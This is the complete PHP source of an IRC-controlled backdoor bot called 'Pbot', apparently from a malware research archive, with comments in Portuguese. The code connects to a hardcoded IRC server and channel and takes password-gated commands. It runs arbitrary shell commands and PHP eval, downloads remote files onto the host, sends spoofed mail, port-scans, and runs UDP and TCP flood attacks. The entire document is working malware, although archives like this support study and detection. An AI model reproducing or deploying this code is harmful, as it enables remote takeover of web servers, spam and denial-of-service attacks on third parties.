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MalwareSourceCode/PHP/Backdoor.PHP.Pbot.g
vxunderground 27f87bc75b
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2020-10-09 22:02:21 -05:00

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<?
set_time_limit(0);
error_reporting(0);
class pBot
{
var $config = array("server"=>"irc.chatbr.org",
"port"=>6667,
"pass"=>"", //senha do server
"prefix"=>"Twi",
"maxrand"=>8,
"chan"=>"#CS",
"key"=>"", //senha do canal
"modes"=>"+p",
"password"=>"twi123", //senha do bot
"trigger"=>".",
"hostauth"=>"*" // * for any hostname
);
var $users = array();
function start()
{
if(!($this->conn = fsockopen($this->config['server'],$this->config['port'],$e,$s,30)))
$this->start();
$ident = "divouxd1";
$alph = range("a","z");
for($i=0;$i<$this->config['maxrand'];$i++)
$ident .= $alph[rand(0,25)];
if(strlen($this->config['pass'])>0)
$this->send("PASS ".$this->config['pass']);
$this->send("USER $ident 127.0.0.1 localhost :$ident");
$this->set_nick();
$this->main();
}
function main()
{
while(!feof($this->conn))
{
$this->buf = trim(fgets($this->conn,512));
$cmd = explode(" ",$this->buf);
if(substr($this->buf,0,6)=="PING :")
{
$this->send("PONG :".substr($this->buf,6));
}
if(isset($cmd[1]) && $cmd[1] =="001")
{
$this->send("MODE ".$this->nick." ".$this->config['modes']);
$this->join($this->config['chan'],$this->config['key']);
}
if(isset($cmd[1]) && $cmd[1]=="433")
{
$this->set_nick();
}
if($this->buf != $old_buf)
{
$mcmd = array();
$msg = substr(strstr($this->buf," :"),2);
$msgcmd = explode(" ",$msg);
$nick = explode("!",$cmd[0]);
$vhost = explode("@",$nick[1]);
$vhost = $vhost[1];
$nick = substr($nick[0],1);
$host = $cmd[0];
if($msgcmd[0]==$this->nick)
{
for($i=0;$i<count($msgcmd);$i++)
$mcmd[$i] = $msgcmd[$i+1];
}
else
{
for($i=0;$i<count($msgcmd);$i++)
$mcmd[$i] = $msgcmd[$i];
}
if(count($cmd)>2)
{
switch($cmd[1])
{
case "QUIT":
if($this->is_logged_in($host))
{
$this->log_out($host);
}
break;
case "PART":
if($this->is_logged_in($host))
{
$this->log_out($host);
}
break;
case "PRIVMSG":
if(!$this->is_logged_in($host) && ($vhost == $this->config['hostauth'] || $this->config['hostauth'] == "*"))
{
if(substr($mcmd[0],0,1)==".")
{
switch(substr($mcmd[0],1))
{
case "user":
if($mcmd[1]==$this->config['password'])
{
$this->privmsg($this->config['chan'],"[\2Auth\2]: $nick logado!");
$this->log_in($host);
}
else
{
$this->privmsg($this->config['chan'],"[\2Auth\2]: Senha errada! $nick");
}
break;
}
}
}
elseif($this->is_logged_in($host))
{
if(substr($mcmd[0],0,1)==".")
{
switch(substr($mcmd[0],1))
{
case "restart":
$this->send("QUIT :restart");
fclose($this->conn);
$this->start();
break;
case "mail": //mail to from subject message
if(count($mcmd)>4)
{
$header = "From: <".$mcmd[2].">";
if(!mail($mcmd[1],$mcmd[3],strstr($msg,$mcmd[4]),$header))
{
$this->privmsg($this->config['chan'],"[\2mail\2]: Isur00tossivel mandar e-mail.");
}
else
{
$this->privmsg($this->config['chan'],"[\2mail\2]: Mensagem enviada para \2".$mcmd[1]."\2");
}
}
break;
case "dns":
if(isset($mcmd[1]))
{
$ip = explode(".",$mcmd[1]);
if(count($ip)==4 && is_numeric($ip[0]) && is_numeric($ip[1]) && is_numeric($ip[2]) && is_numeric($ip[3]))
{
$this->privmsg($this->config['chan'],"[\2dns\2]: ".$mcmd[1]." => ".gethostbyaddr($mcmd[1]));
}
else
{
$this->privmsg($this->config['chan'],"[\2dns\2]: ".$mcmd[1]." => ".gethostbyname($mcmd[1]));
}
}
break;
case "info":
$this->privmsg($this->config['chan'],"[\2Vuln!\2]: http://".$_SERVER['SERVER_NAME']."".$_SERVER['REQUEST_URI']."]");
break;
case "bot":
$this->privmsg($this->config['chan'],"[\2Bot by matapato v1.2\2]");
break;
case "cmd":
if(isset($mcmd[1]))
{
$command = substr(strstr($msg,$mcmd[0]),strlen($mcmd[0])+1);
$this->privmsg($this->config['chan'],"[\2cmd\2]: $command");
$pipe = popen($command,"r");
while(!feof($pipe))
{
$pbuf = trim(fgets($pipe,512));
if($pbuf != NULL)
$this->privmsg($this->config['chan']," : $pbuf");
}
pclose($pipe);
}
break;
case "rndnick":
$this->set_nick();
break;
case "sur00t":
$this->send(strstr($msg,$mcmd[1]));
break;
case "php":
$eval = eval(substr(strstr($msg,$mcmd[1]),strlen($mcmd[1])));
break;
case "exec":
$command = substr(strstr($msg,$mcmd[0]),strlen($mcmd[0])+1);
$exec = shell_exec($command);
$ret = explode("\n",$exec);
$this->privmsg($this->config['chan'],"[\2exec\2]: $command");
for($i=0;$i<count($ret);$i++)
if($ret[$i]!=NULL)
$this->privmsg($this->config['chan']," : ".trim($ret[$i]));
break;
case "pscan": // .pscan 127.0.0.1 6667
if(count($mcmd) > 2)
{
if(fsockopen($mcmd[1],$mcmd[2],$e,$s,15))
$this->privmsg($this->config['chan'],"[\2pscan\2]: ".$mcmd[1].":".$mcmd[2]." is \2open\2");
else
$this->privmsg($this->config['chan'],"[\2pscan\2]: ".$mcmd[1].":".$mcmd[2]." is \2closed\2");
}
break;
case "ud.server": // .ud.server <server> <port> [password]
if(count($mcmd)>2)
{
$this->config['server'] = $mcmd[1];
$this->config['port'] = $mcmd[2];
if(isset($mcmcd[3]))
{
$this->config['pass'] = $mcmd[3];
$this->privmsg($this->config['chan'],"[\2update\2]: Server trocado para ".$mcmd[1].":".$mcmd[2]." Senha: ".$mcmd[3]);
}
else
{
$this->privmsg($this->config['chan'],"[\2update\2]: Server trocado para ".$mcmd[1].":".$mcmd[2]);
}
}
break;
case "download":
if(count($mcmd) > 2)
{
if(!$fp = fopen($mcmd[2],"w"))
{
$this->privmsg($this->config['chan'],"[\2download\2]: Nao foi possivel fazer o download. Permissao negada.");
}
else
{
if(!$get = file($mcmd[1]))
{
$this->privmsg($this->config['chan'],"[\2download\2]: Nao foi possivel fazer o download de \2".$mcmd[1]."\2");
}
else
{
for($i=0;$i<=count($get);$i++)
{
fwrite($fp,$get[$i]);
}
$this->privmsg($this->config['chan'],"[\2download\2]: Arquivo \2".$mcmd[1]."\2 baixado para \2".$mcmd[2]."\2");
}
fclose($fp);
}
}
break;
case "die":
$this->send("QUIT :MORRI! comando por $nick");
fclose($this->conn);
exit;
case "logout":
$this->log_out($host);
$this->privmsg($this->config['chan'],"[\2auth\2]: $nick deslogado!");
break;
case "udpflood":
if(count($mcmd)>3)
{
$this->udpflood($mcmd[1],$mcmd[2],$mcmd[3]);
}
break;
case "tcpflood":
if(count($mcmd)>5)
{
$this->tcpflood($mcmd[1],$mcmd[2],$mcmd[3],$mcmd[4],$mcmd[5]);
}
break;
}
}
}
break;
}
}
}
$old_buf = $this->buf;
}
$this->start();
}
function send($msg)
{
fwrite($this->conn,"$msg\r\n");
}
function join($chan,$key=NULL)
{
$this->send("JOIN $chan $key");
}
function privmsg($to,$msg)
{
$this->send("PRIVMSG $to :$msg");
}
function is_logged_in($host)
{
if(isset($this->users[$host]))
return 1;
else
return 0;
}
function log_in($host)
{
$this->users[$host] = true;
}
function log_out($host)
{
unset($this->users[$host]);
}
function set_nick()
{
if(isset($_SERVER['SERVER_SOFTWARE']))
{
if(strstr(strtolower($_SERVER['SERVER_SOFTWARE']),"apache"))
$this->nick = "[A]";
elseif(strstr(strtolower($_SERVER['SERVER_SOFTWARE']),"iis"))
$this->nick = "[I]";
elseif(strstr(strtolower($_SERVER['SERVER_SOFTWARE']),"xitami"))
$this->nick = "[X]";
else
$this->nick = "[U]";
}
else
{
$this->nick = "[C]";
}
$this->nick .= $this->config['prefix'];
for($i=0;$i<$this->config['maxrand'];$i++)
$this->nick .= mt_rand(0,9);
$this->send("NICK ".$this->nick);
}
function udpflood($host,$packetsize,$time) {
$this->privmsg($this->config['chan'],"[\2UdpFlood Started!\2]");
$packet = "";
for($i=0;$i<$packetsize;$i++) { $packet .= chr(mt_rand(1,256)); }
$timei = time();
$i = 0;
while(time()-$timei < $time) {
$fp=fsockopen("udp://".$host,mt_rand(0,6000),$e,$s,5);
fwrite($fp,$packet);
fclose($fp);
$i++;
}
$env = $i * $packetsize;
$env = $env / 1048576;
$vel = $env / $time;
$vel = round($vel);
$env = round($env);
$this->privmsg($this->config['chan'],"[\2UdpFlood Finished!\2]: $env MB enviados / Media: $vel MB/s ");
}
function tcpflood($host,$packets,$packetsize,$port,$delay)
{
$this->privmsg($this->config['chan'],"[\2TcpFlood Started!\2]");
$packet = "";
for($i=0;$i<$packetsize;$i++)
$packet .= chr(mt_rand(1,256));
for($i=0;$i<$packets;$i++)
{
if(!$fp=fsockopen("tcp://".$host,$port,$e,$s,5))
{
$this->privmsg($this->config['chan'],"[\2TcpFlood\2]: Error: <$e>");
return 0;
}
else
{
fwrite($fp,$packet);
fclose($fp);
}
sleep($delay);
}
$this->privmsg($this->config['chan'],"[\2TcpFlood Finished!\2]: Config - $packets pacotes para $host:$port.");
}
}
$bot = new pBot;
$bot->start();
?>
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